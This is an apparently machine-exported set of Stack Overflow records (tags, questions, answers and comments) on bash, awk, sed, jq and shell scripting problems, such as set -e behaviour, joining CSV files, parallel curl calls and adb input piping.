tag name: status
type: Tag

http://stackoverflow.com/comment/135261333
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76721404
has text: Charles and Ed are my heroes. :)
score: 1

http://stackoverflow.com/comment/135362610
type: QuestionComment
comment on: http://stackoverflow.com/q/76771421
type: Comment
has text: I've been in support forums for decades now, the #bash IRC channel before Stack Overflow existed, and I've had to handle bugs caused by people who are sloppy about these things; that's why one eventually tries to correct _all_ the practices shown, not just the ones the question is directly about, to avoid getting more questions from the same person down the line when they stick their foot on the next landmine; declining to show someone where the landmines in the language/tools they're using are is doing no favors long-term.
score: 0

http://stackoverflow.com/comment/135421560
comment on: http://stackoverflow.com/q/76815964
score: 3
has text: Perhaps a syntax issue? Should `rsync -vh --progress --stats "$TARGET_FILE_PATH" "$USER_PATH" | exit 1)` be `rsync -vh --progress --stats "$TARGET_FILE_PATH" "$USER_PATH" || exit 1`?
type: QuestionComment
type: Comment

eval
tag name: eval
type: Tag
tags question: http://stackoverflow.com/q/76843593
tags question: http://stackoverflow.com/q/77197549
tags question: http://stackoverflow.com/q/77090496
tags question: http://stackoverflow.com/q/78855437
tags question: http://stackoverflow.com/q/79062388
tags question: http://stackoverflow.com/q/79320464

http://stackoverflow.com/a/76882939
score: 0
has body: Try this as a starting point at least, using any awk and assuming you want to match class-function across all files, not just within a file: find . -type f -name '*.php' | awk ' NR == FNR { ARGV[ARGC++] = $0 next } { sub(/[^[:alnum:]_]+$/,"",$2) } $1 == "class" { classes[$2] = FILENAME } $1 == "function" { functions[$2] = FILENAME } END { for ( name in classes ) { if ( name in functions ) { print name, classes[name], functions[name] } } } ' If you really want the comparison to be case-insensitive then change: functions[$2] to functions[tolower($2)] name in functions to tolower(name) in functions functions[name] to functions[tolower(name)] so the comparison is case-insensitive but the output shows the original mixed-case class name. The above assumes the names are on the same line as function or class in each input file, i.e. you never have: function foo or class foo
answers question: http://stackoverflow.com/q/76880608
type: Answer

http://stackoverflow.com/a/76872927
type: Answer
answers question: http://stackoverflow.com/q/76872740
accepted answer of: http://stackoverflow.com/q/76872740
score: 1
has comment: http://stackoverflow.com/comment/135520945
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135520466
downvote count: 1
has comment: http://stackoverflow.com/comment/135520143
has body: This should work: awk 'NR==1{T=$2} NR==2{F=$2; print(T-F); exit}' /proc/meminfo
upvote count: 2
has comment: http://stackoverflow.com/comment/135520621

http://stackoverflow.com/comment/135348056
comment on: http://stackoverflow.com/q/76772789
has text: Note that you should not, in general, create function, variable, tag or macro names that start with an underscore. Part of [C11 §7.1.3 Reserved identifiers](https://port70.net/~nsz/c/c11/n1570.html#7.1.3) says: — _All identifiers that begin with an underscore and either an uppercase letter or another underscore are always reserved for any use._ — _All identifiers that begin with an underscore are always reserved for use as identifiers with file scope in both the ordinary and tag name spaces._ See also [What does double underscore (`__const`) mean in C?](https://stackoverflow.com/q/1449181)
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/135493306
has text: You set the variable `reply` inside the shell process (`sh -c `), but of course it isn't defined in the parent process, which executes the `if`. Aside from this: I think it is easier for maintenance and debugging, if you run a script file here, instead of stuffing the commands explicitly on the command line (i.e. doing a `sh -c /..../myscript.sh`).
type: QuestionComment
comment on: http://stackoverflow.com/q/76856169
score: 0
type: Comment

http://stackoverflow.com/comment/135259381
score: 2
comment on: http://stackoverflow.com/q/76720948
has text: Don't use `set -e` since you don't want the behavior it provides. In general `set -e` is best avoided as you usually want to do **something** when a failure occurs in a script, even if it's just print an error message, and `set -e`s behavior is convoluted and changes between bash versions. See http://mywiki.wooledge.org/BashFAQ/105 for more info.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135294802
has text: The idea in your last paragraph is too complicated. All you need is: Fork, then either call a routine to execute a built-in command or call `exec` to execute a non-built-in command.
type: QuestionComment
comment on: http://stackoverflow.com/q/76741997
score: 2
type: Comment

http://stackoverflow.com/a/76884754
type: Answer
has body: If you can use GNU sed, and your php files do not contain NUL characters, and the function declaration always follows the class declaration, and there are no strings, comments or other elements that could look like a class or function declaration while they are not: find . -type f -name '*.php' -exec bash -c ' sed -Enz "s!\<class\>\s+(\w+).*\<function\>\s+\1\>!$1!p" "$1"' _ {} \; The trick is the -z option of sed that slurps the whole file at once and allows to search it as if it was a single line of text.
answers question: http://stackoverflow.com/q/76880608
score: 0

http://stackoverflow.com/comment/135528692
type: Comment
type: AnswerComment
has text: That command can't produce that output as the `tr -d "-"` would delete all `-`s.
comment on: http://stackoverflow.com/a/76877787
score: 1

http://stackoverflow.com/comment/135334981
score: 0
type: QuestionComment
has text: fyi this is on the wrong site - consider moving to [apple.se]. Stack Overflow is for programming q&a.
type: Comment
comment on: http://stackoverflow.com/q/76734936

http://stackoverflow.com/comment/135349770
comment on: http://stackoverflow.com/q/76774173
score: 0
type: QuestionComment
type: Comment
has text: @PaulPazderski the above command is not working. getting an error unterminated s command

http://stackoverflow.com/comment/135425323
type: Comment
comment on: http://stackoverflow.com/a/76817624
type: AnswerComment
has text: @SwapnilDagar, I'd gladly update my answer, but I'm not sure to understand your demand. Could you update your question adding these element : an expected output, is your date condition static or does it come from a var/command, does you log.out contains multiple workflow or is it one log per workflow ?
score: 1

http://stackoverflow.com/a/76842055
answers question: http://stackoverflow.com/q/76841295
score: 2
upvote count: 2
downvote count: 0
has body: I don't understand why you'd want the expected output you show and I'm having a hard time believing you really would want such output so here's some output that makes sense to me (the usual output format expected from join operations with the common field first then the different fields per input file) and you can massage to suit. Using any awk: $ cat tst.awk BEGIN { FS=OFS="," dfltRow = "NA" FS "NA" } FNR == 1 { ++numFiles $1 = $1 "_" numFiles $3 = $3 "_" numFiles } { if ( !seen[$2]++ ) { keys[++numKeys] = $2 } rows[$2 FS numFiles] = $1 FS $3 } END { for ( keyNr=1; keyNr<=numKeys; keyNr++ ) { key = keys[keyNr] printf "%s", key for ( fileNr=1; fileNr<=numFiles; fileNr++ ) { idx = key FS fileNr row = ( idx in rows ? rows[idx] : dfltRow ) numFlds = split(row,flds) for ( fldNr=1; fldNr<=numFlds; fldNr++ ) { printf "%s%s", OFS, flds[fldNr] } } print "" } } $ awk -f tst.awk file_{1..3} name,id_1,value_1,id_2,value_2,id_3,value_3 a,1,20,1,27,1,77 b,2,34,2,55,2,95 c,3,5,NA,NA,NA,NA d,NA,NA,7,15,11,83 z,NA,NA,9,100,NA,NA y,NA,NA,NA,NA,6,109
type: Answer

http://stackoverflow.com/a/76795650
has body: Do follow the links to the duplicate question. The reason it doesn't work: bash expands tildes before it expands variables. And then it does not go back for a 2nd round of expansions. Note the order of the expansions in https://www.gnu.org/software/bash/manual/bash.html#Shell-Expansions
score: 0
type: Answer
answers question: http://stackoverflow.com/q/76795584

http://stackoverflow.com/comment/135473022
has text: The syntax seems correct; you might have a CRLF line ending problem
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76845280
type: Comment

http://stackoverflow.com/comment/135482810
comment on: http://stackoverflow.com/q/76845280
type: Comment
has text: Very informative! I didn't know that Baron is part of the surname.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135455488
type: Comment
has text: @user1934428 - I don't see why do I have to run it in `/dev/input`. it runs in `init.d` because is the designed place to put shell command that has to start on OS start up for Linux Mint Victoria. Also the `input` has 0 bite file not accessible just as links to see the address of the devices. Anyhow actually I work on a sigle keyboard, if necessary to point to this keyboard I can add the line in case. But the `read` command it works when run in the terminal itself, so actually it read and return the correct key pressed also. So far it looks works correctly for tha part. Am I wrong?
type: QuestionComment
comment on: http://stackoverflow.com/q/76835022
score: 0

http://stackoverflow.com/a/76762890
score: 0
has body: You didn't make a directory named themes, so your first mv command is renaming Kali-Dark, then the second command is putting Kali-Light inside of the renamed directory. Change mkdir /tmp/MyLinux/sort to mkdir -p /tmp/MyLinux/sort/themes and this will work as you expect.
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76761336
accepted answer of: http://stackoverflow.com/q/76761336
type: Answer

http://stackoverflow.com/comment/135376200
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76789602
score: 0
has text: Why not just use a second variable `number1=$(shell seq 1 49)`?

http://stackoverflow.com/comment/135404137
type: Comment
comment on: http://stackoverflow.com/a/76776657
type: AnswerComment
has text: very nice use of `bash` functions here. More people need to be aware of this option for executing multiple operations on the output from find. Good luck to all!
score: 0

http://stackoverflow.com/comment/135492722
has text: This is strange. For debugging, I would do a `cd /Users/cbongior/dev` and use relative pathes for _sed_. Do you get the same effect? If so, the error must be in the commands stored in `templates.sed`.
comment on: http://stackoverflow.com/q/76855842
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/76757674
score: 0
answers question: http://stackoverflow.com/q/76745733
has body: Let's assume you did something like this in bash first to set your environment variable to the path of an executable: export STAND_EXE=/bin/echo Now inside Python: import os import subprocess as sp # Pick up the environment variable exe = os.environ['STAND_EXE'] # Now run it and save its output res = sp.run([exe,'-d','WF-51'], stdout=sp.PIPE) # Print result print(res.stdout) Result b'-d WF-51\n'
type: Answer

http://stackoverflow.com/comment/135422566
score: 0
has text: @shellter thanks for reply my friend. The problem is when i run the script, the execution stops after "su play". When i quit from play user, the script runs the rest of command below
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76815168

http://stackoverflow.com/comment/135344371
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76771093
has text: i am trying this ->. if [[ $highest_version>$actual_version && $highest_version=$actual_version ]]; -> it fails when they are equal too, any idea why?

python-cryptography
type: Tag
tags question: http://stackoverflow.com/q/76739984
tag name: python-cryptography

http://stackoverflow.com/comment/135688191
has text: Thanks @nbk I have created this issue with my Oracle DBA. As an alternative I have created utility in Java which will perform same thing without this error.
comment on: http://stackoverflow.com/q/76845243
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135261785
type: Comment
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/76721404
has text: I was tempted to drive up - I'm in St. Louis - and buy your guys lunch more than once!

http://stackoverflow.com/comment/135497678
type: QuestionComment
type: Comment
has text: Hi @KamilCuk - if argument is not having that special character i.e. # then it is working as expected. I would like to know how to bypass these characters dynamically.
comment on: http://stackoverflow.com/q/76859636
score: 0

nginx
type: Tag
tag name: nginx
tags question: http://stackoverflow.com/q/76851438
tags question: http://stackoverflow.com/q/78594448

http://stackoverflow.com/comment/135480323
type: QuestionComment
type: Comment
has text: @user1934428 I tryied. In Linux Mint 21.2 `evtest` is in maintenace mode and is suggeste to be use as stated [here](https://community.linuxmint.com/software/view/evtest) `evemu-record`. This package is not even present, so I installed `evemu-tools` package. I try but I fail. I tested the `C` example as you suggested. I can see the feed back of the keyboard but I am not capable to have it run in background, loop, and so on.
comment on: http://stackoverflow.com/q/76835022
score: 0

http://stackoverflow.com/comment/135368874
comment on: http://stackoverflow.com/a/76785210
has text: @F.Hauri-GiveUpGitHub, my answer is not wrong because I explain why there is difference. Also I offer different approach (`printf`) which again do not make my answer wrong.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135405801
has text: For some background, see [BashFAQ #50](https://mywiki.wooledge.org/BashFAQ/050); quotes-that-are-data do not substitute for missing quotes-that-are-syntax. Granted, `make` can easily transform generate syntax by concatenating data onto a string it passes as code, but from a security perspective that's a bug, not a feature.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76805103

http://stackoverflow.com/comment/135330493
has text: @Verpous see the related question and you will understand my motivation. what is your alternative solution?
score: 0
comment on: http://stackoverflow.com/q/76763104
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135251706
has text: Read the docs for how you tell expect to start a program. You don't just type the program name, you tell expect you want it to _spawn_ the program.
type: QuestionComment
comment on: http://stackoverflow.com/q/76715818
type: Comment
score: 0

http://stackoverflow.com/a/76821407
answers question: http://stackoverflow.com/q/76817129
type: Answer
score: 0
has body: Using the TXR Lisp awk macro, this can be done directly, without any state flags: $ txr -e '(awk ((or (rng- #/---Successful backups---/ #/---Failed backups---/) (rng- #/---Unresolved clients---/ #/---Summary notification report---/)) (next)) (t))' &lt; infile &gt; outfile The Awk range syntax from, to looks like (rng from to). However, there are two more differences: the rng operator comes in nine usefully different flavors. range expressions can be used as subexpressions in larger expressions, which is not permitted in regular Awk. In the above solution we use rng- which excludes the ending record, and we use the (or ...) macro to combine the two ranges that we want to exclude into a single expression. For these ranges we call (next) to go to the next record. Otherwise control falls through to the (t) clause, which has an unconditionally true condition t, and an empty action, so the default action is (prn) to print the record.

http://stackoverflow.com/comment/135385957
type: Comment
type: AnswerComment
has text: With bash you can replace `temp=$(expr ${input_arr[i]} + 1)` with `((temp=input_arr[i]+1))`
score: 0
comment on: http://stackoverflow.com/a/76791269

http://stackoverflow.com/comment/135349748
has text: Do you have to use `sed`? You can do this more easily with `grep -v`
comment on: http://stackoverflow.com/q/76774173
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135419151
score: 1
type: QuestionComment
has text: Note that running `$(hostname)` more than once is slower than running the `hostname` command just once and storing the result, so you probably don't want to repeat it in each `if` command.
type: Comment
comment on: http://stackoverflow.com/q/76813452

http://stackoverflow.com/q/76855754
score: 0
type: Question
has answer: http://stackoverflow.com/a/76855827
tagged with: shell
tagged with: parallel-processing
answer count: 1
accepted answer: http://stackoverflow.com/a/76855827
has title: Parallelize curl calls in a bash script to check on API result
tagged with: performance
has body: I am trying to measure the time until a particular data piece arrived at all nodes in a p2p network. This is a bash script. I have several servers (boxes), and on each, some number of nodes is running. My goal is to measure the time until all nodes have responded through their API that they got the piece of data. This is in a bash script. I am not aware to what extent I can parallelize calls in a bash script. Because this now is iterating first through each box, then issuing a curl call to each of that box's nodes, and then moving on to the next box. I feel that might skew my results. Is there a better way to do this? found=0 while : do echo "checking data is at node..." for i in "${BOXES[@]}" do for (( j=0; j < $NODE_PER_BOX; j++ )) do res=$(curl http://ip:port/api) echo $res # HERE I NEED TO CHECK FOR THE CONDITION, NOT DONE YET # I know the exit condition is never met here yet done done done
tagged with: bash
has comment: http://stackoverflow.com/comment/135490876
type: AnsweredQuestion

http://stackoverflow.com/comment/135305818
has text: @EdMorton yes requesting help to implement progress bar. I am trying to implement progress bar, "while code block" working fine with out progress bar code.
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76747690

chatgpt-api
tags question: http://stackoverflow.com/q/76757276
type: Tag
tag name: chatgpt-api

http://stackoverflow.com/comment/135381066
comment on: http://stackoverflow.com/q/76724923
type: QuestionComment
score: 0
type: Comment
has text: Try CreateNonWindow = false to see if you see any clue to the issue. Also Set Output and Error to False. I assume the script works if you just run the script. You may need Admin and if you are running inside VS you may need to start VS by right click VS shortcut and select Run As Admin.

http://stackoverflow.com/comment/135304109
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76747469
type: Comment
has text: What if people have multiple surnames?

http://stackoverflow.com/comment/135378837
type: Comment
type: AnswerComment
has text: Users don't always pay attention to things inside their control. Users aren't always humans -- sometimes they're scripts that operate on filenames blindly without using discretion about whether those filenames follow their usual/expected patterns or thinking about whether they're in `/tmp` or an uploads folder rather than a directory they exclusively own. I've won CTF exercises on account of such things.
score: 0
comment on: http://stackoverflow.com/a/76790031

http://stackoverflow.com/a/76740335
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/76739629
type: Answer
score: 2
has body: To complement John Bollinger's answer, here is how you may lay this into a decoupled and maintainable code: #!/usr/bin/env sh # Global environment API_HOST='127.0.0.1:2020' # Outputs an integer random number within specified range # @params # $1: The lower boundary included (default: 100000) # $2: The upper boundary included (default: 999999) random() { shuf -i "${1:-100000}"-"${2:-999999}" -n 1;} # Posts raw data from STDIN to the send-tr API method sendTr() { curl \ --request POST \ --header "Content-Type: application/json" \ --data-binary @- \ --url "${API_HOST}/send-tr" } main() { rnd=$(random 100000 999999) for loc in 'AAVV01JH01' 'BBFP01JH02'; do jq -cn --arg l "$loc" --argjson r "$rnd" '{"loc":$l, "tr":$r}' | sendTr done } main "$@"

http://stackoverflow.com/comment/135290982
score: 3
has text: You're getting errors because your `random` doesn't contain a command, it contains the result of a command and you're trying to evaluate that result as a new command.
type: QuestionComment
comment on: http://stackoverflow.com/q/76739629
type: Comment

http://stackoverflow.com/comment/135300639
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76745459
has text: The statement about where `{` and `}` can appear is a [gross simplification](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_09_04).

powershell-2.0
tags question: http://stackoverflow.com/q/76718065
type: Tag
tag name: powershell-2.0
tags question: http://stackoverflow.com/q/77059371

azure
tags question: http://stackoverflow.com/q/76762779
type: Tag
tag name: azure
tags question: http://stackoverflow.com/q/76771604
tags question: http://stackoverflow.com/q/77046907
tags question: http://stackoverflow.com/q/77039347
tags question: http://stackoverflow.com/q/77573120
tags question: http://stackoverflow.com/q/77574351
tags question: http://stackoverflow.com/q/77879596
tags question: http://stackoverflow.com/q/78302760
tags question: http://stackoverflow.com/q/78218860
tags question: http://stackoverflow.com/q/78964642

http://stackoverflow.com/comment/135361929
has text: Step one: get a file with just the urls, one per line. Then try `find ./ -type f -exec grep -Flf urls.txt '{}' +`
type: QuestionComment
comment on: http://stackoverflow.com/q/76781400
type: Comment
score: 3

http://stackoverflow.com/comment/135506919
comment on: http://stackoverflow.com/a/76864973
type: Comment
has text: thanks Renaud for the helps , im getting output with slightly different results. 'SITE' colums is getting some repeated values as below PRODUCTCODE,LV1P_DESCRIPTION,BATCHID,SITE PRD-0989,Estract,BATCH01,PRD-0989,Estract,BATCH01,Static
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135325689
score: 0
has text: @Shawn it worked and gave the output I wanted. Thanks!
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76751837

http://stackoverflow.com/comment/135438372
type: QuestionComment
score: 0
has text: How about storing the value in a property file, which can be accessed from several processes? When writing the file, you need to do some locking, to avoid a race condition if the file is updated from several processes simultaneously. Also, the processes reading this file, need to be aware that the value could change any time, so they must not cache it. BTW, you did not specify what OS you are using. Depending on the platform, other possiilities are perhaps also feasible.
comment on: http://stackoverflow.com/q/76823093
type: Comment

http://stackoverflow.com/comment/135399583
comment on: http://stackoverflow.com/q/76803412
score: 0
has text: You forgot to tell us the offending line.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135370506
score: 0
type: QuestionComment
has text: So how do I get what I want to print? And how do I restart the JAR if its been crashed by the system?
type: Comment
comment on: http://stackoverflow.com/q/76786021

http://stackoverflow.com/q/76768345
tagged with: adb
has body: I am new to writing bat files and currently, I am creating a bat file to access the adb shell and run an executable inside it. For example, I want to run HelloWorld.exe which is inside the adb shell. Moreover, I do not have permission to edit the Helloworld.exe to receive input parameters instead of user input. HelloWorld.exe: #include <iostream> using namespace std; int main() { string name; int age; cout << "Enter your name: "; cin >> name; cout << "Hello, " << name << "!" << endl; return 0; } To just run the HelloWorld.exe itself, I am familiar that we can use: adb shell Helloworld.exe. However, how should we pipe the input to the executable, I have tried using echo (echo good_guy | adb shell Helloworld.exe) but it is not working.
answer count: 3
has comment: http://stackoverflow.com/comment/135339562
has comment: http://stackoverflow.com/comment/135346679
tagged with: windows
score: 0
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76785269
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135341296
has title: How to create a bat file for running executable in ADB shell that takes in further user input
tagged with: batch-file
linked to: http://stackoverflow.com/q/18275504
has answer: http://stackoverflow.com/a/76772712
has answer: http://stackoverflow.com/a/76769908

http://stackoverflow.com/comment/135348783
score: 0
has text: I know. If I were answering the questions instead of adding asides I would have used the "As an Answer" button, not comments. Answering the direct question is what answers are for, and asides and clarification requests are what comments are for. You'll notice that the duplicates I linked are mostly about history expansion.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76771421

http://stackoverflow.com/comment/135727615
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76873884
has text: thanks pmf, also a great and quite elegant solution!

http://stackoverflow.com/a/76840903
downvote count: 0
score: 1
upvote count: 1
type: Answer
has body: 1st solution: With your shown samples only please try following code. I am using uniq + awk combination here. uniq Input_file | awk ' BEGIN{ FS=OFS="," s1="\"" } { arr[$1 FS $2]=(arr[$1 FS $2]?arr[$1 FS $2] OFS:"") $NF } END{ for(i in arr){ print i,s1 arr[i] s1 } } ' 2nd solution: Only awk solution. Where removing the Duplicates from 1 awk and passing it to main awk then as input. awk ' BEGIN{ FS=OFS="," s1="\"" } { arr[$1 FS $2]=(arr[$1 FS $2]?arr[$1 FS $2] OFS:"") $NF } END{ for(i in arr){ print i,s1 arr[i] s1 } } ' <(awk '!arr[$0]++' Input_file)
answers question: http://stackoverflow.com/q/76840695

http://stackoverflow.com/comment/135447661
type: QuestionComment
comment on: http://stackoverflow.com/q/76830614
type: Comment
has text: The first thing to do is use `expect -d your_script` to enable debugging and see what is the buffer when the patterns are not matched.
score: 1

http://stackoverflow.com/comment/135306568
score: 1
has text: the 1st function is syntactically invalid but since we don't have a complete (minimal) reproducible example it's hard to tell if this is leading to your error or masked by the current error; consider cutting-n-pasting your code (along with appropriate shebang) at [shellcheck.net](https://www.shellcheck.net/) for help in diagnosing syntax issues
type: QuestionComment
comment on: http://stackoverflow.com/q/76747690
type: Comment

http://stackoverflow.com/comment/135528995
comment on: http://stackoverflow.com/a/76878154
has text: oh yeah, you're right.. crazy
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135506098
type: QuestionComment
has text: yes csv , comma separated file.
comment on: http://stackoverflow.com/q/76864396
type: Comment
score: 0

http://stackoverflow.com/comment/135528950
comment on: http://stackoverflow.com/a/76878154
score: 0
type: Comment
type: AnswerComment
has text: Why would `java --version` output to stderr?

http://stackoverflow.com/comment/135455599
type: QuestionComment
score: 0
has text: Because in the terminal, you have an interactive shell which **is** associated with a keyboard. To be more precise: Stdin in your terminal session is bound to a keyboard, plus you can also access the keyboard directly using `read`. For your case, [this](https://wiki.archlinux.org/title/Keyboard_input) perhaps helps. A solution to a similar problem, but using `C` instead of `bash`, is shown [here](https://stackoverflow.com/questions/20943322/accessing-keys-from-linux-input-device).
comment on: http://stackoverflow.com/q/76835022
type: Comment

http://stackoverflow.com/q/76785544
type: Question
tagged with: shell
has body: i'm trying to set fish run tmux, automatically on login. so i added the following to the top of my config.fish file. if status is-interactive exec tmux end but now if i open a new terminal window it closes immediately. but found this answer here which actually works if status is-interactive and not set -q TMUX exec tmux end Apparently what it does is it also checks if tmux is not already activated, but how does that help when i'm sure no tmux session is active and what's the problem with first code i was trying to use. let me add running the first one in shell (not putting it in config file) works perfectly.
downvote count: 0
score: 1
answer count: 1
tagged with: tmux
upvote count: 1
has title: why including exec tmux in config.fish doesn't work
has answer: http://stackoverflow.com/a/76785815
tagged with: fish
accepted answer: http://stackoverflow.com/a/76785815
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/comment/135377494
comment on: http://stackoverflow.com/a/76790031
type: Comment
has text: It needs to be `$(` and use `echo`, but that complicates it so much I've deleted it.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135424031
comment on: http://stackoverflow.com/q/76815168
has text: Perhaps [this](https://askubuntu.com/questions/307067/how-to-execute-sudo-commands-with-expect-send-commands-in-bash-script) helps you to get you going. While this website specifically mentions _bash_ as a shell, I don't tee anything in it which you couldn't do in _sh_ either.
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135354506
comment on: http://stackoverflow.com/q/76776995
type: QuestionComment
type: Comment
has text: This isn't a tutorial service, there are many sites that show how to write for loops in bash.
score: 0

http://stackoverflow.com/comment/135529259
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76878154
has text: Thank you both! Just for reference for anyone else reading, both these solutions worked perfectly. Really appreciate it

http://stackoverflow.com/comment/135284022
type: QuestionComment
has text: First, research `man chsh`.
type: Comment
score: 1
comment on: http://stackoverflow.com/q/76735489

http://stackoverflow.com/a/76803519
type: Answer
score: 1
downvote count: 0
has body: send=scp $filename root@178.79.148.186:/root/Backup You forgot the command substitution syntax here, and it's trying to execute $filename as a command. I presume at this point that filename= /home/zero/Backup/backup_20230731_1251.tar.gz.gpg and it doesn't have execute permissions.
upvote count: 1
has comment: http://stackoverflow.com/comment/135407329
answers question: http://stackoverflow.com/q/76803412

http://stackoverflow.com/comment/135418598
type: QuestionComment
type: Comment
has text: And running `declare -p HOST` returns `typeset HOST=Nbook`.
comment on: http://stackoverflow.com/q/76813452
score: 0

http://stackoverflow.com/comment/135345754
type: Comment
type: AnswerComment
has text: :-) feel free to improve the answer if I've missed anything out.
comment on: http://stackoverflow.com/a/76772242
score: 1

http://stackoverflow.com/comment/135528556
comment on: http://stackoverflow.com/q/76877760
has text: Is that odd symbol that looks like an ice cream cone at the start of `echo "$(cat file.txt | tr "\r\n" ";" | tr -d "-")"` really part of your input or is just lines that start with `-` as you show under "I have a text file"?
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/135342615
score: 0
has text: In zsh, numeric context includes floating point arithmetic. You just have to use `[[ ... ]]` instead ofn`[`. Since zsh has quite some similarities to bash, it is easy to learn.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76770023

http://stackoverflow.com/q/76725490
type: Question
tagged with: shell
tagged with: linux
has answer: http://stackoverflow.com/a/76734273
type: UnansweredQuestion
score: -2
answer count: 3
has comment: http://stackoverflow.com/comment/135267575
has answer: http://stackoverflow.com/a/76726463
has body: I have N separate tab files with 3 columns each. The first two columns are identical for each file. For example (N=3 files): file1.tsv: A1 B1 1 A2 B2 9 A3 B3 8 file2.tsv: A1 B1 5 A2 B2 8 A3 B3 4 file3.tsv: A1 B1 0 A2 B2 1 A3 B3 7 I would like to create a new file by appending the third column of each file to the first file. Basically I would like this: output.tsv: A1 B1 1 5 0 A2 B2 9 8 1 A3 B3 8 4 7 I could potentially have many files so I'm interested in a solution that uses a loop or that can fit an unfixed number of files.
downvote count: 2
tagged with: bash
has title: Append a specific column of one file into another file
has answer: http://stackoverflow.com/a/76726264
favorite count: 0
upvote count: 0

http://stackoverflow.com/a/76843053
downvote count: 0
answers question: http://stackoverflow.com/q/76842785
type: Answer
has body: If the input is large, and you don't want to --slurp (or -s) all items into memory (only effective if there are at least some duplicate IDs), you can take a reduce-based approach which iterates over the inputs collecting only the aggregated values: jq -cn ' reduce inputs as {$count, $id} ({}; .[$id] += $count) | to_entries[] | {id: .key, count: .value} ' {"id":"123","count":65} {"id":"456","count":77} {"id":"789","count":44} Demo
score: 3
upvote count: 3

http://stackoverflow.com/comment/135305960
comment on: http://stackoverflow.com/q/76747690
score: 0
type: QuestionComment
has text: And `Lin_check.sh` exists on the remote machine and is called as part of `function1`? As is, your question is too broad. Reduce it down to a [mcve] and include your best attempt to solve the "progress bar" problem. Are you trying to provide a wrapper that will work on any script/function/etc OR do you want a function you can include inside of any shell script code? Please don't reply in comments, but update your question so readers can help you with a focused problem and fixing your code. (@stark 's idea sounds good enough, depending on your needs). Good luck.
type: Comment

http://stackoverflow.com/comment/135372013
type: Comment
type: AnswerComment
has text: thank you, i finally got it i think, the check for $? inside handle_exit has to be the first line otherwise it ll be always 0 because the other commands completed successfully
score: 0
comment on: http://stackoverflow.com/a/76787175

http://stackoverflow.com/comment/135520104
score: 0
comment on: http://stackoverflow.com/q/76872740
type: QuestionComment
type: Comment
has text: Why not use the `free` command? Adding `--kilo` flag will print the same values: `free --kilo`. https://man7.org/linux/man-pages/man1/free.1.html

http://stackoverflow.com/a/76721919
downvote count: 0
score: 1
upvote count: 1
type: Answer
has body: I agree with the consensus here - generally just don't use set -e. Consider maybe a trap instead, like this. Second, most bash checks against a condition will "consume" the "exception". I'm sure there's better terminology, but test it for yourself; if you check for a fail immediately, things like set -e or a trap won't usually see the fail, and you can handle it explicitly. user1934428's solution does this with a double-pipe to explicitly check the exit status and set the value on a fail. Be careful - even testing only for success is likely to have this effect. See below. $: cat tst #! bash set -e cmd=( bogus command ) # check fail only (#1), success only (#2), both (#3) "${cmd[@]}" || echo "yep, failed #1" "${cmd[@]}" && echo "worked fine! #2" # doesn't print "${cmd[@]}" && echo "worked fine!" || echo "oops! #3" if "${cmd[@]}" # the if is a test, "catches" the fail then echo "won't get here" else rc=$? echo "<${cmd[@]}> returned with exit code: $rc - #4" fi # running it without checking here, #5 "${cmd[@]}" # uncaught, set -e kills the script here echo "This doesn't print! #5" The cmd array is just an easy way to make sure the echo doesn't have to be separately maintained. Running it looks like this: $: ./tst ./tst: line 5: bogus: command not found yep, failed #1 ./tst: line 6: bogus: command not found ./tst: line 7: bogus: command not found oops! #3 ./tst: line 8: bogus: command not found <bogus command> returned with exit code: 127 - #4 ./tst: line 14: bogus: command not found Hope that helps. addendum We totally did NOT address the output capture, but you seem to have that; and I completely agree that it's probably better to avoid the "not" (!).
answers question: http://stackoverflow.com/q/76720948

http://stackoverflow.com/comment/135504433
score: 0
comment on: http://stackoverflow.com/q/76805840
type: QuestionComment
type: Comment
has text: @Shawn That was understood (and not intended). In WAL mode instead of `SQLITE_LOCKED`, `SQLITE_BUSY` would sporadically be encountered (requiring `busy_timeout` pragma either way).

http://stackoverflow.com/comment/135493487
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76855842
has text: Have you tried `cat file.sed | sed -f - file`?

http://stackoverflow.com/comment/135310653
has text: Or you could rename the file anytime you email a message. This does create new problems, (too many log files OR where to store them, and possibly a missed message once in a blue moon). Good luck.
comment on: http://stackoverflow.com/q/76751024
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135365363
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76783356
score: 2
